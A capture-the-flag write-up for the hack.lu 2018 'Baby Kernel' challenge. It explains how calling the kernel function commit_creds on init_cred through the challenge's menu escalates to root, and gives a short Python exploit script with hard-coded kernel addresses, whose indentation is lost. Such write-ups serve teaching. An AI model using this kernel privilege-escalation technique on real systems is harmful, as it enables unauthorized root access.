Rating:

### Baby Kernel
This was a simple kernel exploitation challenge. We were given a kernel and
initrd. Booting it, a menu appeared that allowed calling an arbitrary kernel
function (from ring 0) with a single argument. (For that, it loaded a custom
kernel module.)

To get an idea of how to get a flag, I first modified the init script (at
`/init`) inside the initrd to drop me into a root shell instead of the boot
menu. (This took me a bit longer than expected, because I was missing the `-c`
flag when creating the new initrd. So for my own future record this is the right
command to pack a new initrd: `find . | cpio -o -c > ../sh_initrd.cpio`) With
this root shell, it was quickly clear that we were supposed to escalate
privileges from user id 1000 to root, in order to get permission to read the file
`/flag`.

The kernel did not have any features like KASLR or KAISER enabled that would
randomize the kernel addresses. (I checked this by attaching with GDB to the
qemu running the kernel and comparing the addresses with those shown by `r2`.)
So I looked a bit around the kernel sources for a function that looked like it
could be used to change privileges. I started at the syscalls for the `set*uid`,
which quickly lead to all the functions defined in
[`creds.c`](https://elixir.bootlin.com/linux/latest/source/kernel/cred.c). After
a bit of trial and error, I ended up calling the function `commit_creds` (which
changes the credentials of the current process to those specified in a `struct
cred *` it receives as only param). As a parameter, I gave it a reference to the
global variable `init_cred`, which holds for the credentials of the `init`
process (which runs as root).

To get the flag, I piped the output of this script to `nc` (and for testing into
`qemu`):

```python
#!/usr/bin/env python3
import sys
from time import sleep

init_creds = 0xffffffff81a3c4e0
commit_creds = 0xffffffff8104e9d0

sleep(5)
print('.', file=sys.stderr)

def call(what, arg):
print(1)
print(what)
print(arg)

def id():
print(2)

def read_file(name):
print(3)
print(name)

def bye():
print(5)

call(commit_creds, init_creds)
id()
read_file('/flag')
bye()
```

Original writeup (https://maltekraus.de/blog/ctf/english/2018/10/18/hack-lu.html).